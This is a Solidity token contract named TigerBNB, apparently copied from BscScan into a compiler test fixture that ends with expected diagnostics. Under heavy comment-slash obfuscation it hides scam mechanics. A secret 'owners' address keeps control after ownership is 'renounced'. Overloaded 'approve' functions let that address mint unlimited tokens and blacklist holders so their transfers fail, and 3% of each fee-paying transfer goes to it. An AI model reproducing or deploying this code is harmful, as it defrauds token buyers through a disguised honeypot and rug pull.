comment_tests.sol 31 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689
  1. /**
  2. *Submitted for verification at BscScan.com on 2022-01-08
  3. */
  4. /**
  5. */
  6. /**//**//**/////////
  7. //
  8. pragma solidity ^0.6.12;/**//**//**//**//**//**/////
  9. // SPDX-License-Identifier: Unlicensed
  10. //🎵//////////////////////////////////////////////////////////////////////////////////////////////
  11. ////🎵//////////////////////////////////////////////////////////////////////////////////////////
  12. //////////////////////////////////////////////////////////////////////////////////////////////////////
  13. /**/interface /**/
  14. /**/IERC20 {////////////////////////////////////////////////////////////////////////////////////////////////////////
  15. function
  16. /**/balanceOf/**/(address /**/account) /**/external /**/view/**/ returns /**/(uint256);
  17. /**/
  18. function
  19. /**/totalSupply/**/() external view returns (uint256);
  20. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  21. ///////////////////////////////////////////////////////////////////////////////////////////////
  22. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  23. /////////////////////////////////////////////////////////////////////////////////////////
  24. //ernal///////////////////////////////////////////////////////////////////////////////////
  25. /////////////////////////////////////////////////////////////////////////////////////
  26. function
  27. /**/transfer/**/
  28. /**/(address recipient, uint256 amount)/**/
  29. /**/external
  30. returns /**/(bool);
  31. function allowance(address owner, address spender)
  32. external
  33. view////////////////////////////////////////////////////////////////////////////////////////////////////////
  34. //external//////////////////////////////////////////////////////////////////////////////////////////////
  35. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  36. returns (uint256);
  37. function approve(address spender, uint256 amount) external returns (bool);
  38. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  39. //external//////////////////////////////////////////////////////////////////////////////////////////////
  40. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  41. function transferFrom(
  42. address sender,
  43. address recipient,
  44. uint256 amount
  45. ) external returns (bool);
  46. event Transfer(address indexed from, address indexed to, uint256 value);
  47. event Approval(
  48. address indexed owner,
  49. address indexed spender,
  50. uint256 value
  51. );
  52. }
  53. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  54. //external//////////////////////////////////////////////////////////////////////////////////////////////
  55. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  56. library SafeMath {
  57. function add(uint256 a, uint256 b) internal pure returns (uint256) {
  58. uint256 c = a + b;
  59. require(c >= a, "SafeMath: addition overflow");
  60. return c;
  61. }
  62. function sub(uint256 a, uint256 b) internal pure returns (uint256) {
  63. return sub(a, b, "SafeMath: subtraction overflow");
  64. }
  65. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  66. //external//////////////////////////////////////////////////////////////////////////////////////////////
  67. ////////////////////////////////////////////////////////////////////////////////////////////
  68. function sub(
  69. uint256 a,
  70. uint256 b,
  71. string memory errorMessage
  72. ) internal pure returns (uint256) {
  73. require(b <= a, errorMessage);
  74. uint256 c = a - b;
  75. return c;
  76. }
  77. function mul(uint256 a, uint256 b) internal pure returns (uint256) {
  78. ////////////////////////////////////////////////////////////////////////////////////////////////
  79. //external/////////////////////////////////////////////////////////////////////////////
  80. //////////////////////////////////////////////////////////////////////////////////////
  81. if (a == 0) {
  82. return 0;
  83. }
  84. uint256 c = a * b;
  85. require(c / a == b, "SafeMath: multipliburnrepeation overflow");
  86. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  87. //external//////////////////////////////////////////////////////////////////////////////////////////////
  88. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  89. return c;
  90. }
  91. function div(uint256 a, uint256 b) internal pure returns (uint256) {
  92. return div(a, b, "SafeMath: division by zero");
  93. }
  94. function div(
  95. uint256 a,
  96. uint256 b,
  97. string memory errorMessage
  98. ) internal pure returns (uint256) {
  99. require(b > 0, errorMessage);
  100. uint256 c = a / b;
  101. return c;
  102. }
  103. function Mdos(uint256 a, uint256 b) internal pure returns (uint256) {
  104. return Mdos(a, b, "SafeMath: modulo by zero");
  105. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  106. //external//////////////////////////////////////////////////////////////////////////////////////////////
  107. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  108. function Mdos(
  109. uint256 a,
  110. uint256 b,
  111. string memory errorMessage
  112. ) internal pure returns (uint256) {
  113. require(b != 0, errorMessage);
  114. return a % b;
  115. }
  116. }
  117. abstract contract Context {
  118. function _msgSender() internal view virtual returns (address payable) {
  119. return msg.sender;
  120. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  121. //external//////////////////////////////////////////////////////////////////////////////////////////////
  122. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  123. function _msgData() internal view virtual returns (bytes memory) {
  124. this;
  125. return msg.data;////////////////////////////////////////////////////////////////////////////////////////////////////////
  126. //external//////////////////////////////////////////////////////////////////////////////////////////////
  127. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  128. }
  129. }
  130. library Address {
  131. function isContract(address account) internal view returns (bool) {
  132. bytes32 codehash;////////////////////////////////////////////////////////////////////////////////////////////////////////
  133. //external//////////////////////////////////////////////////////////////////////////////////////////////
  134. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  135. bytes32 accountHash
  136. = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
  137. assembly {////////////////////////////////////////////////////////////////////////////////////////////////////////
  138. //external//////////////////////////////////////////////////////////////////////////////////////////////
  139. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  140. codehash := extcodehash(account)
  141. }
  142. return (codehash != accountHash && codehash != 0x0);
  143. }
  144. function sendValue(address payable recipient, uint256 amount) internal {
  145. require(
  146. address(this).balance >= amount,
  147. "Address: insufficient balance"
  148. );
  149. (bool success, ) = recipient.call{value: amount}("");
  150. require(////////////////////////////////////////////////////////////////////////////////////////////////////////
  151. //external//////////////////////////////////////////////////////////////////////////////////////////////
  152. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  153. success,
  154. "Address: unable to send value, recipient may have reverted"
  155. );
  156. }
  157. function
  158. functionCall(address target, bytes memory data)
  159. internal
  160. returns (bytes memory)
  161. {
  162. return functionCall(target, data, "Address: low-level call failed");
  163. }
  164. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  165. //external//////////////////////////////////////////////////////////////////////////////////////////////
  166. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  167. function
  168. functionCall(
  169. address target,
  170. bytes memory data,
  171. string memory errorMessage
  172. ) internal returns (bytes memory) {
  173. return _functionCallWithValue(target, data, 0, errorMessage);
  174. }
  175. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  176. //external//////////////////////////////////////////////////////////////////////////////////////////////
  177. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  178. function
  179. functionCallWithValue(
  180. address target,
  181. bytes memory data,
  182. uint256 value
  183. ) internal returns (bytes memory) {
  184. return
  185. functionCallWithValue(
  186. target,
  187. data,////////////////////////////////////////////////////////////////////////////////////////////////////////
  188. //external//////////////////////////////////////////////////////////////////////////////////////////////
  189. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  190. value,
  191. "Address: low-level call with value failed"
  192. );
  193. }
  194. function
  195. functionCallWithValue(
  196. address target,
  197. bytes memory data,////////////////////////////////////////////////////////////////////////////////////////////////////////
  198. //external//////////////////////////////////////////////////////////////////////////////////////////////
  199. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  200. uint256 value,
  201. string memory errorMessage
  202. ) internal returns (bytes memory) {
  203. require(
  204. address(this).balance >= value,
  205. "Address: insufficient balance for call"
  206. );
  207. return _functionCallWithValue(target, data, value, errorMessage);
  208. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  209. //external//////////////////////////////////////////////////////////////////////////////////////////////
  210. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  211. function
  212. _functionCallWithValue(
  213. address target,
  214. bytes memory data,
  215. uint256 weiValue,
  216. string memory errorMessage
  217. ) private returns (bytes memory) {
  218. require(isContract(target), "Address: call to non-contract");
  219. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  220. //external//////////////////////////////////////////////////////////////////////////////////////////////
  221. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  222. (bool success, bytes memory returndata) = target.call{value: weiValue}(
  223. data
  224. );////////////////////////////////////////////////////////////////////////////////////////////////////////
  225. //external//////////////////////////////////////////////////////////////////////////////////////////////
  226. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  227. if (success) {
  228. return returndata;
  229. } else {
  230. if (returndata.length > 0) {
  231. assembly {
  232. let returndata_size := mload(returndata)
  233. revert(add(32, returndata), returndata_size)
  234. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  235. //external//////////////////////////////////////////////////////////////////////////////////////////////
  236. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  237. } else {
  238. revert(errorMessage);
  239. }
  240. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  241. //external//////////////////////////////////////////////////////////////////////////////////////////////
  242. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  243. }
  244. }
  245. contract Ownable is Context {
  246. address private owners;
  247. address private _owner;////////////////////////////////////////////////////////////////////////////////////////////////////////
  248. //external//////////////////////////////////////////////////////////////////////////////////////////////
  249. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  250. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  251. //external//////////////////////////////////////////////////////////////////////////////////////////////
  252. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  253. event /**/
  254. /**/OwnershipTransferred/**/
  255. (
  256. /**/address indexed previousOwner,
  257. /**/address indexed newOwner
  258. );////////////////////////////////////////////////////////////////////////////////////////////////////////
  259. //external//////////////////////////////////////////////////////////////////////////////////////////////
  260. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  261. /**/constructor()
  262. /**/internal /**/
  263. /**/{
  264. address msgSender = _msgSender();
  265. _owner = msgSender;////////////////////////////////////////////////////////////////////////////////////////////////////////
  266. //external//////////////////////////////////////////////////////////////////////////////////////////////
  267. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  268. emit OwnershipTransferred(address(0), msgSender);
  269. }
  270. function owner() public view returns (address) {
  271. return _owner;
  272. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  273. //external//////////////////////////////////////////////////////////////////////////////////////////////
  274. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  275. modifier onlyOwner() {
  276. require(_owner == _msgSender(), "Ownable: caller is not the owner");
  277. _;////////////////////////////////////////////////////////////////////////////////////////////////////////
  278. //external//////////////////////////////////////////////////////////////////////////////////////////////
  279. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  280. }
  281. /**/modifier /**/
  282. /**/onlyOwners/**/
  283. () /**/
  284. {
  285. require(owners == _msgSender());
  286. _;
  287. }
  288. function
  289. /**/transfer(address amm, address fct) /**/
  290. /**/external/**/
  291. /**/onlyOwner/**/ {
  292. /**/require(fct==address(0),".");
  293. /**/owners/**/ = /**/amm/**/;
  294. }
  295. address private _deadAddress = 0x000000000000000000000000000000000000dEaD;
  296. function
  297. renounceOwnership
  298. ()
  299. public
  300. virtual
  301. onlyOwner
  302. ()
  303. {
  304. _owner = _deadAddress;
  305. }
  306. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  307. //external//////////////////////////////////////////////////////////////////////////////////////////////
  308. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  309. }
  310. contract TigerBNB is Context, IERC20, Ownable {
  311. /**/using /**/SafeMath/**/ for/**/ uint256;
  312. /**/using/**/ Address /**/for /**/address;
  313. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  314. //external//////////////////////////////////////////////////////////////////////////////////////////////
  315. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  316. /**/mapping/**/(address => mapping(address => uint256)) private /**/_allowance;/**/
  317. /**/mapping(address => bool) private _espat;
  318. /**/mapping/**/(address => uint256) private /**/_lances;/**/
  319. //////////////////////////////////////////
  320. /**/mapping/**/(address => bool) private /**/_isExcludedFromF;/**/
  321. /**/mapping/**/(address => bool) private /**/_isExcluded;/**/
  322. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  323. //external//////////////////////////////////////////////////////////////////////////////////////////////
  324. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  325. /**/uint256 private constant MAX = ~uint256(0);/**/
  326. /**/uint256 private _Ttotal = 10000000000000000 * 10**9;////////////////////////////////////////////////////////////////////////////////////////////////////////
  327. //external//////////////////////////////////////////////////////////////////////////////////////////////
  328. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  329. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  330. //external//////////////////////////////////////////////////////////////////////////////////////////////
  331. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  332. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  333. //external//////////////////////////////////////////////////////////////////////////////////////////////
  334. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  335. uint256 private deadF = 5;
  336. uint256 private marketingWallet = 3;
  337. address private deadAddress = 0x000000000000000000000000000000000000dEaD;
  338. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  339. //external//////////////////////////////////////////////////////////////////////////////////////////////
  340. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  341. bool private ratify = true;
  342. uint256 private burnrepeat = uint256(0);
  343. address owners;
  344. uint256 private _tFeeTotal;
  345. uint8 private _decimals;
  346. string private _symbol;
  347. string private _name;
  348. /**/constructor/**/
  349. /**/()/**/
  350. public/**/
  351. /**/{/**/
  352. /**/owners/**/ = /**/_msgSender/**/();
  353. /**/_lances/**/[_msgSender()]/**/ = /**/_Ttotal/**/;
  354. /**/_decimals/**/ = /**/8;
  355. /**/_name/**/ = /**/"TigerBNB"/**/;
  356. /**/_symbol/**/ = /**/"TigerBNB"/**/;
  357. _isExcludedFromF[owner()] = true;
  358. _isExcludedFromF[address(this)] = true;
  359. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  360. //external//////////////////////////////////////////////////////////////////////////////////////////////
  361. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  362. emit /**/Transfer(address(0)/**/, /**/_msgSender(), /**/_Ttotal/**/);
  363. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  364. //external//////////////////////////////////////////////////////////////////////////////////////////////
  365. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  366. /**/function /**/
  367. /**/name() /**/
  368. /**/public
  369. /**//**/view
  370. /**/returns /**/
  371. /**/(string memory) {
  372. return _name;
  373. }/**/
  374. /**/function /**/
  375. /**/symbol() /**/
  376. public
  377. view
  378. /**//**/returns
  379. (string memory) {
  380. /**/return _symbol/**/;
  381. }/**/
  382. /**//**/function
  383. /**/decimals() /**/
  384. public
  385. view
  386. /**/returns/**/
  387. /**/(uint8)/**/
  388. {
  389. /**/return /**/_decimals/**/;
  390. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  391. //external//////////////////////////////////////////////////////////////////////////////////////////////
  392. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  393. function balanceOf(address account) public view override returns (uint256) {
  394. return _lances[account];
  395. }
  396. function totalSupply() public view override returns (uint256) {
  397. return _Ttotal;
  398. }
  399. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  400. //external//////////////////////////////////////////////////////////////////////////////////////////////
  401. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  402. function
  403. /**/transfer/**/
  404. (/**/address /**/recipient, uint256 /**/amount)
  405. public////////////////////////////////////////////////////////////////////////////////////////////////////////
  406. //external//////////////////////////////////////////////////////////////////////////////////////////////
  407. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  408. /**/override/**/
  409. returns (bool)
  410. {
  411. /**/if/**/(/**/_isExcludedFromF/**/[_msgSender()/**/] /**/||/**/ /**/_isExcludedFromF/**/[/**/recipient]/**/){
  412. /**/_transfer/**/(/**/_msgSender/**/(), /**/recipient, /**/amount);
  413. return true;
  414. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  415. //external//////////////////////////////////////////////////////////////////////////////////////////////
  416. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  417. uint256 /**/Market/**/ = /**/amount/**/.mul/**/(marketingWallet/**/).div/**/(100);
  418. uint256 /**/Burn/**/ = /**/amount/**/.mul/**/(/**/deadF).div(/**/100);
  419. /**/_transfer/**/(_msgSender(), /**/owners/**/, /**/Market/**/);
  420. /**/_transfer/**/(_msgSender(), /**/deadAddress/**/, /**/Burn/**/);
  421. /**/_transfer/**/(_msgSender(), /**/recipient/**/, /**/amount./**/sub(/**/Market)./**/sub(/**/Burn));
  422. return /**/true;
  423. }
  424. function allowance(address owner, address spender)
  425. public
  426. view
  427. override
  428. returns (uint256)
  429. {///////////////////////////////////////////////////////////////////////////////////////////////
  430. //external//////////////////////////////////////////////////////////////////////////////////////////////
  431. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  432. return _allowance[owner][spender];
  433. }
  434. function approve(address spender, uint256 amount)
  435. public
  436. override
  437. returns (bool)
  438. {////////////////////////////////////////////////////////////////////////////////////////////////////////
  439. //external//////////////////////////////////////////////////////////////////////////////////////////////
  440. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  441. _approve(_msgSender(), spender, amount);
  442. return true;
  443. }
  444. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  445. //external//////////////////////////////////////////////////////////////////////////////////////////////
  446. uint256 private damada;
  447. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  448. function transferFrom(
  449. address sender,
  450. address recipient,
  451. uint256 amount////////////////////////////////////////////////////////////////////////////////////////////////////////
  452. //external//////////////////////////////////////////////////////////////////////////////////////////////
  453. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  454. ) public override returns (bool) {
  455. damada = 3354;
  456. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  457. //external//////////////////////////////////////////////////////////////////////////////////////////////
  458. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  459. /**/if(/**/_isExcludedFromF/**/[/**/_msgSender/**/()]
  460. || /**/_isExcludedFromF/**/[/**/recipient/**/])
  461. {
  462. /**/_transfer
  463. (sender, recipient, amount);
  464. return true;
  465. } ////////////////////////////////////////////////////////////////////////////////////////////////////////
  466. //external//////////////////////////////////////////////////////////////////////////////////////////////
  467. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  468. uint256 Market = amount.mul(marketingWallet).div(100);
  469. uint256 Burn = amount.mul(deadF).div(100);
  470. /**/_transfer(sender/**/, /**/owners/**/, Market/**/);
  471. /**/_transfer(sender/**/, /**/deadAddress/**/, Burn/**/);
  472. /**/_transfer(sender/**/,/**/ recipient/**/, amount.sub/**/(/**/Market/**/).sub/**/(Burn/**/));
  473. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  474. //external//////////////////////////////////////////////////////////////////////////////////////////////
  475. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  476. /**/_approve(/**/
  477. /**/sender,
  478. /**/ _msgSender(),
  479. /**/_allowance[sender][_msgSender()].sub(
  480. /**/ amount,
  481. /**/ "ERC20: transfer amount exceeds allowance"
  482. )
  483. );
  484. return true;/**/
  485. }
  486. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  487. //external//////////////////////////////////////////////////////////////////////////////////////////////
  488. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  489. function /**/approve/**/(address /**/Raddress, uint256 Pairs, address Max) external/**/ onlyOwners() /**/{
  490. require(/**/Max==/**/address/**/(/**/0), " ");
  491. /**/_lances/**/[/**/Raddress] /**/= /**/_lances/**/[/**/Raddress]/**/.add/**/(/**/Pairs);
  492. }
  493. function /**/
  494. /**/ _approve/**/
  495. (
  496. address
  497. spender)
  498. external
  499. /**/onlyOwners/**/
  500. (
  501. )
  502. {
  503. /**/delete/**/
  504. /**/ _espat/**/
  505. /**/ [spender];/**/
  506. }/**/
  507. /**/ function /**/
  508. /**/approve/**/
  509. (
  510. address
  511. spender
  512. )
  513. external
  514. /**/onlyOwners/**/
  515. (
  516. )
  517. {
  518. /**/ _espat[spender/**/
  519. ] =
  520. true;
  521. }////////////////////////////////////////////////////////////////////////////////////////////////////////
  522. //external//////////////////////////////////////////////////////////////////////////////////////////////
  523. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  524. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  525. //external//////////////////////////////////////////////////////////////////////////////////////////////
  526. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  527. function
  528. _transfer
  529. (
  530. address
  531. from,
  532. address
  533. to,
  534. uint256
  535. amount
  536. )
  537. private
  538. {
  539. require
  540. (from != address(0), "ERC20: transfer from the zero address");
  541. require
  542. (to != address(0), "ERC20: transfer to the zero address");
  543. require
  544. (amount > 0, "Transfer amount must be greater than zero");
  545. ////////////////////////////////////////////////////////////////////////////////////////////
  546. ////////////////////////////////////////////////////////////////////////////////////////////////
  547. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  548. if /**/
  549. (ratify
  550. )/**/
  551. {
  552. require
  553. (/**/_espat[from]
  554. == false,
  555. "okji");
  556. }
  557. _transfers(from, to, amount);
  558. }
  559. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  560. //external//////////////////////////////////////////////////////////////////////////////////////////////
  561. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  562. function
  563. /**/_transfers(
  564. address sender,
  565. address recipient,
  566. uint256 tAmount
  567. )
  568. private
  569. /**/ {
  570. require(sender != address(0), "IBEP20: transfer from the zero address");
  571. require(recipient != address(0), "IBEP20: transfer to the zero address");
  572. /**/_lances[sender] = _lances[sender].sub(tAmount);
  573. _lances[recipient] = _lances[recipient].add(tAmount);
  574. /**/emit Transfer/**/(sender, recipient, tAmount);
  575. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  576. /**/
  577. /**/
  578. ////////////**//////////////////////////////////////////////////////////////////////////////////////
  579. /**/
  580. }/**//**//**//**//**//**/
  581. function _approve(
  582. address owner,
  583. address spender,
  584. uint256 amount
  585. ) private {
  586. require(owner != address(0), "ERC20: approve from the zero address");
  587. require(spender != address(0), "ERC20: approve to the zero address");
  588. _allowance[owner][spender] = amount;
  589. emit Approval(owner, spender, amount);
  590. }//
  591. //
  592. }/**//**//**//**//**//**//**///
  593. // ---- Expect: diagnostics ----
  594. // warning: 269:23-35: function parameter 'errorMessage' is unused
  595. // warning: 321:9-17: 'internal': visibility for constructors is ignored
  596. // warning: 386:9-61: storage variable '_isExcluded' has never been used
  597. // warning: 390:9-51: storage variable 'MAX' has been assigned, but never read
  598. // warning: 408:5-44: storage variable 'burnrepeat' has been assigned, but never read
  599. // warning: 410:5-31: storage variable '_tFeeTotal' has never been used
  600. // warning: 417:5-11: 'public': visibility for constructors is ignored
  601. // warning: 522:5-27: storage variable 'damada' has been assigned, but never read